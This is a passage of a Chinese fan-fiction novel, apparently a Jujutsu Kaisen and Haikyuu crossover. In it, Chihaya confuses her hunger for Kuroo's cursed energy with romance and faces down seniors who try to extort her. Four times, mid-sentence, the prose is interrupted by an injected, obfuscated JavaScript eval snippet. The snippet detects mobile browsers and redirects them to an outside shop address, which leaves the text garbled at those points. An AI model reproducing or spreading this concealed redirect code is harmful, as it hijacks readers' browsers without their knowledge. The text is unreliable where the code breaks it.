但连五条悟的咒力都是如此,其他人的咒力又能有什么区别。 更别说虽然在人类里千早只吃过五条悟的咒力,但成千上万,数量多到数不清的咒灵的咒力都成为了她食粮。 毫无例外,全部都是如同白开水一般。 虽然就是这种寡淡无味的滋味让她觉得无比美味,但那是术式带给她的一种近乎于本能的东西,而非味觉。 至于小黑。 小黑的咒力与其他人并无不同,一定要说他与别人有什么不同的话—— ……也许是顺序不同,受术式的影响,千早在看一个人的时候首先看的是对方的咒力。 然后才是这个人的脸、身体。 但仔细想来也许只有小黑不同,每一次与小黑碰面她首先看到的都是黑尾铁朗这个人,再然后才是他的咒力。 难道真的像五条先生说的那样,她想吃的不是小黑的咒力,而是…… 千早不敢继续想下去。 她知道自己最近有些不对劲,经常会去偷偷观察小黑。 整洁干净的指尖、骨节分明的手、线条流畅的手臂小腿…… 一直以为这段时间会如此关注他只是因为羡慕,原来并非如此。 “五条先生。”千早低头紧盯着脚尖,声音有些喑哑,“我果然还是应该来高专。” 五条悟没有立刻回答她,反而看向家入的脸,“硝子,治得好吗?” 家入陷入沉思,思索片刻才开口,“在这种一知半解的情况下很难,我的建议是让她暂时远离那位幼驯染,或许她说的是对的。” 五条悟知道家入指的是什么。 当初建议千早在外面上普通高中的人正是他,虽说【朝比奈千早必须成为咒术师】是他资助对方的条件。 但非高专毕业的咒术师,难道不是咒术师吗? 没有得到任何解决方案,五条悟只能带着千早离开。 两人一前一后走在高专内,与走在前面一些散漫的五条悟不同,跟在他身后的千早此时只觉得一双脚像灌了铅般愈发沉重。 不知何时走在她前面的五条悟已经停下。 千早心事重重,没能第一时间注意到这一点,差一点就要撞上五条悟的无下限时才察觉到。 “五条先生?” 她看向五条悟发出疑问,发现对方抬着头不知道在看什么。 千早顺着他的方向看过去,却什么都没能找到。 蔚蓝天空之中连片云朵都找不着。 半晌后五条悟终于开口:“知道为什么我会建议你跟那两人上同一所高中吗?” 千早有些茫然没有发出声音,只在他背后摇了下头。 五条悟姿势不变,声音却比以往都缓和了些,“你作为咒术师的人生还有很长,但是青春却是转瞬即逝的短短几年。” “知道当我说出你可以上普通高中的时候,你露出了什么样的表情?”五条悟慢慢转过身。 明明他一双好看的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479943|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被绷带遮住,千早却能感觉到落在身上的那道视线。 “让我想起你第一次【进食】时的眼神。” 千早知道他说的是什么时候。 第一次进食。 不是她降生后喝的第一口奶,不是她开始长牙后吃的第一口饭、第一口肉。 而是指她吃的第一口咒力。 那是她被母亲抛弃后的事情。 八岁的时候,她翻墙偷偷溜出孤儿院的时候与眼前这个男人相遇了。 自那之后,朝比奈千早的人生就发生了翻天覆地的改变。 她当然不知道当时的自己露出了怎样的表情,但又能猜到一些。 喜悦、兴奋、满足…… 千早缓缓闭上眼睛,再次睁开时眼里已没有了不安。 “我知道了,谢谢您五条先生。” 果然无论何时这个人都是她的恩人。 - 午时的阳光有些晒人,千早躲在枝叶茂密的树上吃着便利店买来的便当。 距离那日已经过了一周,这一周她都尽量避免与小黑见面,午饭自然是一个人躲起来偷偷吃。 排球部也一周没有去过了。 这期间小黑不是没有联系过她,电话短信,甚至曾经跑来她的班级里堵人。 这几次她没有特意避开,她只是想避免小黑发生意外,不是真的想和他绝交。 治好这奇怪的病症,或是找到能够抑制住这种饥饿感的办法。 总有一个会成功的。 但是除了小黑以外,还有另外一个问题。 没有接到任务通知,放学后直接回了家的千早。 被研磨堵在了家门口。 “……” 千早看看天看看地,看看树看看草,就是不看研磨的脸。 但是她知道保持沉默没有用,研磨不可能这么简单地放过自己,只能蹩脚地在对方开口之前由她来展开话题。 “啊……你今天怎么没去排球部练习啊,难道是偷懒跑回来了?那可不行啊,之后会被教练训的。” “你和小黑之间发生了什么?” 然而研磨直接无视了她想好的话题。 千早后退两步干笑道:“哈哈……没有啊,我跟小黑什么都没有发生哦。” “最近你经常偷偷看小黑吧。”研磨步步紧逼。 千早心中一惊。为什么他会察觉到?虽然早就知道研磨会观察别人的面部表情以及视线,但是没有必要连她这个幼驯染都观察吧! “我…我没有总是在……” 研磨打断了千早的辩解,神色似乎有些不解地说出了让千早直接呆愣在原地的话。 “就算你喜欢小黑,也没有必要一直躲着他吧?” 6. 第 6 章 听到这句话的时候,千早怔愣片刻,但也只有短短几秒钟的时间。 喜欢? 她喜欢小黑? “我喜欢小黑不是很正常么。”千早一副理所应当的样子,甚至有些不理解为什么研磨会说出这么理所当然的话。 “但我为什么要因为这个躲他?” 在她说出前半句话的时候,研磨那双像猫一样的眼睛微微瞪大。 “我不仅喜欢小黑,还喜欢你。” 还有五条先生,她也喜欢。 研磨:“……” 这里有傻子。 虽然研磨跟千早一样从未谈过恋爱,但他不像千早那般对恋爱一窍不通。 不过与其说她不了解恋爱,不如说这家伙对恋爱的了解,可能仅仅来自于词典上的解释。 研磨没由来得生出一种带小孩的疲惫感,“我说的不是那种喜欢。” 千早歪着脑袋安静等待下文。 作为幼驯染,研磨非常清楚千早是个什么样的人。 跟她拐弯抹角地解释,她是听不懂的。 “我的意思是,你对小黑的喜欢是爱情的那种喜欢,不是友情,至少不只是友情。” 千早:“…………” 千早:“爱情?” 爱情,指人与人之间的爱恋,并渴望对方成为自己的伴侣。 好像是这个意思吧……她没有记错吧? 陷入混乱的千早甚至开始怀疑是不是自己大脑突然短路,记错了这个词语的意思。 她怎么也没想到有一天这个词会跟自己扯上关系,对象还是自己从小一起长大的幼驯染。 但如果是这样的话就好解释…… 好解释个鬼啊! 没听说过喜欢一个人会对对方产生饥饿感的啊! 千早失魂落魄地回了家,回家后第一件事就是去书房里翻出词典,查找爱情的意思。 发现与自己理解的并没有太大区别后。 她大脑彻底宕机了。 在千早的认知中,说咒术师是爱情绝缘体也不为过。 在咒术界,独身的咒术师占大多数,至少千早认识的咒术师大多都是单身状态。 有结婚后离婚的,比如夜蛾校长。 有一直单身没听说过有伴侣的,比如五条先生、家入小姐。 连结婚的都很少有,更别说是陷入爱情的咒术师了。 哪怕是那些结婚生子的咒术师,大多也不是为了所谓的爱情,比如那些大家族里的人如果结了婚的话,婚姻状况一般都比较稳定。 但他们并不是为了爱情,而是为了生子。 生下拥有天赋,能够将家族传承下去的咒术师。 普通人常说,爱情就像鬼一样,谁都听过,但很少有人真的看见过。 但其实对于咒术师来说,爱情远比鬼少见得多。 所以这算什么? 【恭喜!您触发了奇遇支线任务。】 如果这个世界是一款游戏的话,说不定游戏系统还会冒出这样的标红提醒。 不对,等一下。 虽然研磨说她对小黑产生了爱慕之情,但听起来也是因为她最近偷偷看小黑的次数太多了。 而她会偷偷看小黑的原因,她比自己比谁都清楚。 因为小黑看起来秀色可餐。 这……能算是爱情吗? 还是说咒术师的爱情都是这么特殊的? 这个问题没人能回答她。 千早最熟悉的咒术师,也就是五条悟。但五条悟怎么看,都是个跟爱情两字无缘的人,虽然他的外在条件很优异。 但以她对五条悟的了解,这个人根本没有时间跟人谈情说爱。 在咒术界她接触最多的三个人,五条悟、家入硝子、伊地知洁高。 这三个人,可以说是有一个算一个忙得连轴转。 不是千早歧视,但伊地知先生真的看不出来是五条先生的后辈,而家入小姐眼下常年挂着黑眼圈。 所以,她该找谁询问咒术师的爱情是什么样的? 为什么书店里没有咒术师恋爱大全卖? 她将手上翻开的词典一合,放回书柜里,转身离开书房。 - 清晨六点刚过,千早拉开运动馆的大门走进去。 正在训练的几名部员听到声音纷纷转头看向这边。 “早上好。”千早语气虽然有些冷淡,但还是跟几个来晨练的学长打了招呼。 千早扫了一眼场馆内,来晨练的部员并不多,三年级只有一人,二年级的学长倒是都来了,还有跟她同年级同班的山本猛虎。 最终她的视线落到正在练习发球的小黑身上,犹豫两秒还是朝他走去。 想起昨天研磨说的话,千早停在黑尾身后,在他准备从球框里拿出下一个排球时,直接拿出一个球递到他手上。 “早上好小黑。” 因着这几天发生的事情,黑尾原以为她不会过来找自己。 他手里拿着球,此时难得地有些不知所措。 他不知道千早避开他的原因,甚至都不知道对方是不是在生自己的气。就像现在,他同样不知道为什么对方突然又回到了自己身边。 这种感觉实在说不上好,但他从千早那里什么都没能问出来。 研磨似乎看出了什么,但看起来也不打算告诉他。 果然还是只能找机会从本人这里下手,好好沟通的话,应该还会回到原来的关系吧。 研磨的话让千早想了一晚上。 一整晚后,得出的答案就是没有答案。 她不知道是不是真的像研磨说的那样,对小黑产生了友谊之外的感情。 但不管这份感情,亦或者这份饥饿的真相是否来自爱情。有一点永远不会改变。 那就是对她来说,黑尾铁朗是很重要的人。 所以她不能,也不打算跟小黑更进一步。 假如她对小黑的喜欢真的跟其他人不同,假如她一鼓作气对小黑告白了的话…… 他很大概率会接受吧,哪怕小黑只拿她当幼驯染看待。 那么接受之后呢?从幼驯染转变成交往的情侣,几年后再步入婚姻? 再然后呢? 像夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479944|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛾校长那样离婚,跟前妻老死不相往来吗? 现实不是童话。 千早很清楚咒术师和普通人结合后很少能迎来好的结局。 她自己,不就是这样的产物吗? 母亲是普通人,父亲是咒术师。 不过那两个人连婚都没有结,只是母亲单方面地爱着父亲,而父亲…… 后来才知道,他有妻子和继承了他术式的嫡子,她的母亲在那个男人眼里,不过是一个可以满足他虚荣心的美丽花瓶。 甚至,他外面的女人也不止她母亲一个。 包括她的母亲在内,这些女人在那个男人眼里到底算不算人都不一定。 不管是像母亲那样的结局,还是夜蛾老师那样的结局,她都不想要。 所以,她跟小黑只会停留在幼驯染这一步。 只是忍耐饥饿而已,算不了什么。 这是她最擅长的事情了不是么? …… 放学后,千早再次来到排球部帮忙。跟早上的时候不同,这一次全员都在。 她清楚地看到有几个高三学长在看到她之后,脸色瞬间阴沉下来,但没敢朝她说什么。 可能因为是运动社团,排球部的高三学长特别喜欢使唤后辈,尤其是一年级的新入生。 最开始其中也包括千早。 在某一次千早没有来社团帮忙的第二天。 社团活动结束后,其他二年级一年级生部员都在收拾场馆。 千早也在帮忙整理器材,手上推着装满排球的球框,正准备把它推进仓库里,余光瞥见几个三年级的学长朝她这边走来。 起初她没有在意,直到她发现这几人一直跟着她。 甚至直接跟着她进了仓库。 千早只是不爱跟人交际,不是真的社恐。她将球框推到最里面,转身看向站在自己身后的几名高年级部员,“有什么事吗?” 四五个高三学长逼近千早,试图用身高和气势恐吓住她。 “你这家伙昨天为什么没来社团?” “知不知道你不在耽误了多少时间!” “一个一年级的小鬼居然敢给学长惹麻烦?” 千早有些不解,她虽然经常来排球部帮忙,但她又不是真的进了排球部成为了排球部经理。 她想着这几个人可能并不知道这一点,所以误会自己昨天偷懒了,开口解释道:“我没有进排球部,不是你们的经理,而且昨天有打工。” 站在最中间的男人不屑道:“谁管你那种事,你昨天没来导致我们回家都晚了,别想躲避责任。” ……那不是因为你们三年级只知道指挥下面的学弟,自己做甩手掌柜吗? 千早冷眼看着像是墙壁一样堵在前面的几名学长不说话。 几人像是根本没看出她此刻的厌烦,又或者是看出来了也不当回事一样又嘻嘻哈哈地道:“既然做错了事,就要赔偿认罚对吧。” “你刚刚不是说在打工吗?” “我们最近手头有点紧,不如你就赔点钱给我们吧。” “像我们这么善解人意的学长可不多。” 7. 第 7 章 居然还敲诈勒索后辈,这可真是相当糟糕的一群人。 千早不准备在这里跟他们过多纠缠,不过她也不会给这帮人钱就是了。 “我现在没带钱包,等结束后在学校后面的小巷里给你们可以吗?” 毕竟再怎么说,也不能在这里动手。 几人一听纷纷露出满意的神色让开路。 千早走出仓库时,还能听到身后几人的窃窃私语。 体育馆收拾妥当后,千早找到黑尾和研磨二人告知他们自己有事,让他们先走。 等确定其他人都离开学校,千早拎起自己放在地上的包走向约定好的小巷。 “真慢啊。” 昏暗潮湿的小巷里,并肩站着四个人。 千早微微抬起头,透过刘海之间的缝隙看向他们。 虽然由她这个基本没穿过校服的人来说有些不太合适,但这些家伙就不能好好穿校服吗? 一看到千早过来,他们再次走上前来,将千早围在中间防止她逃跑。 “你应该没有找黑尾告状吧。”刚刚开口嫌弃她太慢的男人俯身。 旁边的男人胳膊一抬搭在他肩膀上,“说了又怎样,石川你不会害怕了吧。” 石川一把甩开肩上的胳膊,“怎么可能!” “唉——” 石川正要去抓旁边人的领口,就听到面前传来一声长长的叹气声。 他低头看向站在自己前面的女生。 千早长叹之后,手一松任由书包掉在地上。 她缓缓启唇,戏谑道:“我说啊,你们难道是乞丐吗?” 在场几人谁也没想到,眼前这个平常看起来有些腼腆的少年,会在此时说出这种明显带着嘲讽意味的话。 “哈?你是不是以为我们不打女人,所以就可以用这种语气跟学长说话啊。”石川刚被同伴嘲笑完,心中本就有火气,此时一听更是攥紧拳头。 “石川,你被一个小丫头小看了啊。” “哈哈哈,有够逊的。” 同伴起哄的声音接连不断,石川被彻底拱出火,手臂青筋暴起,伸手要去抓千早的头发。 千早虽然被围了起来,但又不是动弹不得,微微偏头避开石川伸过来的手。 她的举动是压垮石川理智的最后一根稻草。 石川张开的五指紧握成拳,挥向千早。 千早依旧没有动手,再次避开,只不过这一次因为石川完全没有收敛力气,拳头直接砸中同伴的肩膀。 “擦!石川你有病吧!”被打中的人刚刚还在跟其他人一起嘲笑石川,这会儿被打了个踉跄脸色瞬间变得难看起来,“没长眼睛吗?!” 原本脸都气得胀红的石川,在发现自己打中了同伴时有些慌乱,马上把锅甩给千早,“都、都怪这个女人,我本来是要打她的,但是她躲开了!” “噗嗤。” 在石川急忙给同伴道歉时,突然响起一声嗤笑声。 气氛顿时安静下来。 几人都诧异地看向在这种情况下居然还能笑出来的人。 千早根本不管他们的脸色,“没想到原来你们自己内部也有等级划分啊。”她用手指抹掉眼角笑出来的生理泪水,“以后是不是不应该叫你石川学长,而是应该叫小弟学长啊。” 虽然听起来她嘲笑的只有石川一个人,但在场的三年级生都有种被嘲讽了的感觉。 忍无可忍,这次不只石川,其他人也对千早动起手来。 然而明明是在这样狭窄的小巷里,明明是面对着四个比她高了快一个头的男生,她却像是条泥鳅一样,连衣角都没让他们碰到。 将四个人累的气喘吁吁的,她却连一滴汗都没有流,反而弯下腰,嘴角扬起看向累到双手撑着膝盖,正大口呼吸的男生。 “知道我为什么不还手吗?因为你们是排球部的部员,有些还是正选部员。” 明明她的双眼被过长的刘海遮住,但石川却有种被盯上了的感觉,莫名打了个冷颤。 “如果我不小心把你们弄骨折了,或是让你们受了更重的伤耽误训练就不好了呀,排球部的其他人会很困扰的。”千早直起身,扬声道:“所以——” “后面躲着的那两位,还不准备出来吗?” - 面对沉着脸的几名高三学长,千早像是丝毫没有察觉一样,一如既往地跟所有人打了招呼。 几个学长动作僵硬但语气十分礼貌。 自那次的事情之后,这几个学长虽然依旧看不惯低年级的学生,但再也没来找过她的麻烦。 毕竟她虽然顾虑着排球部没有对他们动手,但对后出现的两个非排球部的疑似老大的人,可就没有那么温柔了。 虽然千早手下留情了,但还是让那两个人住了几天院。 目睹一切的夜久用手肘怼了下一旁的黑尾,“喂,你不觉得最近三年级的学长们好像对你们家幼驯染态度不太对劲吗?” 关于这一点,黑尾也有注意到。 但因为看起来没有发生什么太大的冲突,他选择了睁一只眼闭一只眼。 嗯,应该是被恐吓了吧。 不过说实话如果三年级的这几位能够消停一点,对他以及研磨他们来说也是好事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479945|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑尾打了个哈哈随口敷衍了过去。 “不过,你们能和好真是太好了。”夜久看着走进仓库,没一会儿就一个人搬出运动器材的千早忍不住发出感叹:“说真的有她在帮了不少忙。” “不过,她到底是怎么练出这么大力气的?” 黑尾看向正在搬杠铃片的千早,只见对方轻轻松松地一手拎着一个,好像她不是在搬东西而是在悠闲地逛街一样。 说实话,他也很好奇这一点,明明很少看到对方锻炼身体,家里看起来也没有什么运动器材,也不知道哪里来的力气。 可能这就是天赋异禀吧。 千早不是排球部的正式经理,但来排球部的时候却干着跟经理一样的工作。 说白了,辅助后勤工作以及跟其他一年级一起打杂。 毕竟她总不能代替部员上场打比赛。 其他一年级部员打杂是因为很少有刚入部就成为正选成员的,现在三年级生还没有引退,正选成员只有二三年级。 千早悄咪咪地一步一步走到正在看学长们练习的研磨旁边,伸手碰了碰他。 研磨收回视线,转头看向不知什么时候已经挪到自己身边的千早,没有说话却用眼神表达了自己的疑问。 千早四处瞧了瞧,发现没有人注意她们这边,偏头小声说起悄悄话:“研磨,关于昨天的事……” 虽然没有明说,但研磨自然知道对方指的是什么事,“嗯?” 再次开口,千早的音量放的更低,几乎快要变成气声。 “能不能帮我保密啊?” 研磨有些惊讶。 其他人以为千早腼腆不合群,但是他和小黑却知道这家伙到底是个什么性子。 研磨本以为在他昨天说完那些话,千早明白了自己真正的心意后会马上跟小黑表白。 他不担心两个幼驯染谈恋爱之后会扔下自己,他知道这两人不会这么做。 但没想到,却是在千早这里,第一步就出了问题。 “我以为你会马上告白,然后将小黑吃干抹净。” 千早有些无语,“你把我当成什么了,我们还是未成年呢。” “未成年这一点我不否认。”研磨说完眼神中充满着怀疑,“但是,你不是肉食系吗?” 千早一阵无言,反驳道:“那是从哪里得来的结论,还有把人称为肉食系会不会太失礼了,我可还是个纯洁的高中生。” 研磨没有继续这个话题,转而问道:“为什么?” “如果你是担心被拒绝的话,我想如果对象是你的话,小黑不会拒绝的。” 8. 第 8 章 不会拒绝么。 千早心中暗自思忖。 不可否认,告白对象如果是她的话,小黑很可能会接受。 但千早很清楚,即便小黑真的接受了,也并不意味着对方对她抱有着跟她同样的感情。 因为小黑是一个很温柔的人。 见她沉默不语,研磨的视线重新落回球场,“虽然不知道原因,但你肯定有自己的理由……我答应你。” “谢谢,”千早松了一口气,“对了,你之前想要的那款新游戏最近不是发售了吗,我帮你买了一套。” 研磨意味深长地“嗯”了一声,没再说什么。 封口费。 千早知道,其实不给封口费也不用担心研磨会将这件事情说出去,但给了她会更安心一点。 毕竟身份不同,研磨是重要的幼驯染。 如果换一个人的话…… 研磨像是想到什么,冷不丁地开口问道:“对了,你之前对三年级的人做了什么?” “诶?”千早愣了一下,看向一旁,声音有些含糊道:“嗯、没干什么,只是跟他们友好地沟通了一下。” 跟研磨待在一起的时候,她总有一种会被看穿的感觉。 就在千早以为这个话题已经结束的时候,研磨小声提醒道:“你这段时间还是小心一些。” 千早有些意外。 看来研磨知道些什么。 “你听说了什么吗?”千早有些好奇,凑近研磨追问。 研磨也不卖关子,他提起这件事的目的就是想让千早最近小心一些。 “之前在街上看到过他们。” 那是在三月,他们入学音驹高中之前的事情。 拿到新入手的游戏走出商场的研磨,正跃跃欲试想要第一时间赶回家尝试,却在余光瞟见一群有些奇怪的人时停下了脚步。 他们的衣着实在算不上奇装异服,但身上散发出来的气势,却莫名引人注意。 这群人站在这种人来人往的街道上,无论是与神色匆匆的行人,还是漫步逛街的路人都显得格格不入。 不仅如此,他们自己内部也透出一种强烈的违和感。 这种违和感来源于两个人。 这两人虽然就站在那群人中的边缘位置,但看起来应该还是未成年,打扮也比其他人更花哨。 看起来极其张扬,但跟其他穿着简单一身黑的人一比,就好像虚张声势的小孩子。 当时留下了深刻印象,所以记住了脸。 结果时间流转,四月开学,发现这俩狐假虎威的是同校的高三学长…… 听说是高三几个比较有名的混混,虽然本身不是部员,但排球部的高三部员中有几人算是他们团体里的人。 千早听完讲述,感觉有些新奇。 初中时学校里的学生大多还比较单纯,虽然也有几个比较混的,但在千早眼里两者差别并不大。 只是后者格外闹了些。 但千早还真的从没遇到过被堵,甚至是被勒索的事情。 不过研磨刚刚提到的一身黑,让千早想到了高专的制服,虽然她知道不可能,经常穿黑色的又不只高专相关人员。 考虑到那两个被她揍进医院里的‘学长’的那副混蛋模样,研磨藏在话中没有直白说出来的内容已经很明显了。 多半是混灰、甚至有可能沾点黑。 千早食指轻蹭了下鼻尖,“嗯,我会注意的。” 在研磨眼里她打架再强也只是个普通人,会担心她,恰恰说明两人关系好。 - 也不知道是因为几个男生一起上都没能打过她,还是因为那两个男的觉得被一个低年级的学妹压着揍得鼻青脸肿躺进医院很丢脸,研磨担心的事情并没有发生。 甚至在那两个学长出院后,也从没来找过千早的麻烦,颇有点在学校里安分下来的意味。 即使都在同一所学校里,但千早再没见过那两人。 千早也没主动去找对方,又不是什么重要人物。 一切都仿佛回归日常。 千早依旧忙于在打工和学校之间两头跑。 直到这天,她收到了一条短信,来自五条悟的短信。 [五条悟:明天要来转学生了哦——] 转学生? 真稀奇啊。 本来转学生这种存在就已经不是很多见,至少从小到大,千早的班级里从未来过转学生,更何况还是高专。 因为并不住在高专宿舍,也不是高专生,最多算半个相关人员,她的信息相对滞后。 很多时候,都是事情发生了很久之后她才知晓。 今天这种情况已经算是好的了。 转学生明天去高专报道,她今天就知道。 千早看了眼手机屏幕上显示的时间。 嗯,晚上8:30。 至少不是在转学生已经开始上课一周,才知道这件事的,不是么? 千早欣慰地点点头,简单回复短信,再次按灭手机。 与此同时,正前方响起小黑的声音。 “那边的朝比奈同学——讲题的时候不要偷看手机!” 糟糕,被发现了! 千早手速飞快将手机收回口袋,握住笔,坐姿端正,摆出一副乖乖好学生的样子。 “好的黑尾老师!” 是的,她现在正在研磨家里,被小黑辅导作业。 黑尾将练习册推到千早面前,修长的手指停在某道题的上面点了下,“这道题,跟刚刚讲过的是同类题型,你做做看。” 千早瞥眼练习册上的题,松了口气。 还好,她刚刚只是感觉到手机震动所以才开了个小差。 右手习惯性地先转了下笔,笔尖这才落在纸面上。 千早未来的出勤率不用想就知道会很糟,至少成绩要保持在说得过去的程度。 所以做作业遇到不知道的知识点时,她经常会像现在这样请教两个幼驯染。 其实主要还是小黑负责辅导。 因为如果讲题的时候千早一直搞不懂的话,研磨就会露出一副看傻子的微妙表情,虽然不会特别明显,但作为幼驯染怎么可能注意不到这一点。 三人各干各的事情。 千早专心做黑尾选出来的题,黑尾专心帮千早划重点。 研磨专心静音打游戏。 “咚、”一声敲门声响起,停顿不到一秒后面两声也跟着响起。 研磨放下游戏手柄,起身开门。 站在门外的是端着一个盘子的研磨母亲。 研磨的妈妈是一个很漂亮的人,研磨的长相便是随了母亲。 “学习辛苦了,我拿了些果汁过来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479946|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 研磨妈妈将手里的盘子放在桌上,上面放着三杯果汁。 不知道是不是因为正巧在做题,千早的思维有些发散,她看着那三杯果汁。 装着果汁的并不是外面超市卖的那种饮料瓶,而是家里喝水用的杯子。 那么……研磨妈妈是怎么端着放了三杯果汁的盘子敲门的? 看着脸上带着笑容的研磨妈妈,千早默默将这个问题咽了回去。 虽然对着长辈这么想有些失礼,但是千早一直都觉得研磨妈妈很像一只慵懒的大猫猫。 猫猫的话,用脚‘敲门’也……没什么问题吧。 千早和黑尾拿过果汁道谢。 研磨妈妈送完果汁没有离开,坐到研磨旁边看了看桌子上摆满的教科书练习册,又看向捧着果汁正准备喝的千早。 千早:“……?” 她被看的有些喝不下去,“阿姨……怎么了吗?” 研磨妈妈往千早的方向挪了挪,“小千早,不打算修剪一下刘海吗?” “刘海……吗?”千早将果汁放回桌上,抬手捋了下自己过长的刘海。 “嗯,都上高中了,阿姨觉得稍微改变一下也可以哦”研磨妈妈的手伸向千早的脸,将千早的刘海掀起,露出一直被遮在下面的一双眼睛。 千早有一双标准的狐狸眼,眼睛细长眼尾高高挑起,眼瞳是一种很接近绿色的湖蓝色。 “难得你的眼睛这么好看。” 因为距离过近,千早的眼睛微微瞪大,耳根有些泛红,想要拉开距离。 “啊……那个、我……” “妈。”研磨出声拯救了千早,阻止了想要继续凑近千早的自家妈妈。 重新拉开距离后,千早的刘海自然而然垂落下来,重新遮住眼睛。 研磨三两句将自家妈妈送出房间。 “没事吧?”黑尾也看到那双明显染上红晕的耳朵,“不过,你还真是不擅长跟女性长辈接触啊,明明已经跟阿姨见过不知道多少次了。” 千早抬手揉揉耳垂,“正确来讲,是不擅长跟长得太漂亮的女性长辈靠太近。” 正常相处的时候没什么事,但如果靠太近的话,她就会有些不好意思,面对研磨妈妈时是这样,面对家入小姐时也是如此。 研磨关上房间门,“你不用太在意我妈刚刚的话。” 千早点头,看向黑尾的方向,“小黑也觉得我应该把眼睛露出来吗?” 黑尾单手托住下巴,看向窗外。 “我当然也支持你把眼睛露出来,但如果你不想的话就这样不也挺好的?” 他记忆中小时候的千早还没有刘海,一双狐狸眼露在外面很是灵动,只是不知道什么时候起她就开始留起了刘海,而且长度往往都能遮住那双眼睛。 他也想过这个问题,比如是不是千早其实并不喜欢自己的眼睛之类的。 千早沉吟片刻,看向研磨的那双眼睛,跟研磨妈妈很像的那双猫眼。 “……因为我不想给那个人添麻烦。” 就像研磨的长相随了妈妈一样,千早的脸也像极了数年未见的母亲,只要露出那双眼睛的千早和母亲同时站在一起的话,虽然两人的气质不同,但任谁都能看出来她们是母女。 “她、现在应该还在东京,而且已经组建了新的家庭,我不能再给她添麻烦了。” 9. 第 9 章 “呼、呼……” 千早身上穿着一套黑色的运动服,双手轻握成拳,双臂前后摆动,脚下一直保持着同样的速度向前奔跑。 平日里空闲的时间一般会被她用来锻炼身体,比如跑步。 周末,不需要去上学,正巧今天排球部也休息不需要去充当经理的身份。 晨跑结束,千早回到家中先去浴室冲洗了一遍,清洗干净后她用吹风机将头发吹得半干就不再管它,还有些湿的头发披散在身上,将她身上的居家服印出黑色的印子。 千早走进厨房,打算给自己准备一份简单的早饭。 她打开冰箱,将之前在超市买的半成品速食包装撕开装盘,然后直接扔进微波炉里加热。 她今天打算去高专一趟的。 虽说严格来讲她并不算高专的学生,但姑且也算相关人士,同期中来了个转学生她至少也要打个照面,不然连对方的长相姓名都不知道。 就是不知道对方好不好相处。 千早虽然有现在同期的三人的联系方式,但很少联系。 毕竟咒术师之间没事发个短信或者打电话聊天煲电话粥什么的、感觉怪怪的,她也不知道该聊些什么。 当然这并不代表她讨厌那三位同期。 只是不知道怎么跟对方闲聊,她对自己的社交能力心里有数。 “叮——” 微波炉发出声音。 千早抬手将微波炉打开,把里面的盘子取出后转身放到餐桌上。 她自己也拉开椅子坐下,用筷子夹起面条开始暴风吸入,可能是山猪吃不了细糠,她觉得这种预制菜跟外面店里吃的味道并没有什么太大区别。 不过还有另外一种可能,就是那些店里用的也是预制菜。 吃完饭她将餐盘扔进水槽刷干净,又简单打扫了一下屋内的卫生。 等她做完一切,半干的头发已经干得差不多了。 千早上到二楼回到自己的房间,打开衣柜将挂在最外面那套纯黑色的高专制服取出来。 高专的制服可以自己提出修改意见定制,因为她上学的时候里面穿制服外面穿音驹运动服,所以将制服的下装改成了裤裙。 换好制服,她低头看向放在衣柜最下面的收纳箱。 粉色带蕾丝边的收纳箱,跟衣柜中的衣服以及千早本人的风格都显得格格不入。 算是一种掩护,虽然是自己的衣柜但不怕一万就怕万一。 收纳箱里放着她的绑腿刀鞘和咒具,她平时上学的时候也会穿上。 ……不过今天么。 还是算了,出门还要坐公交,万一吓到路人引起骚乱最后引来警察就不太好了。 千早收回视线关上衣柜。 拿上钱包和手机就准备直接出门。 千早换好鞋,推开家门—— 防盗门却不知道撞到什么,发出咚的一声巨响,同时门外响起“嘶”地一声。 有点像是什么东西漏气了,不过更像是…… 谁倒吸了一口凉气的声音。 千早赶忙从半开的门缝中探出脑袋往外看。 黑发的少年正单手捂住脑袋半弯着腰发出呻、吟声。 “小黑!” 黑尾因为刚刚那一下意外的撞击,退后了两步,给千早留出了足够开门出来的距离。 千早连忙走出门,想要去扶黑尾,“没事吧?” 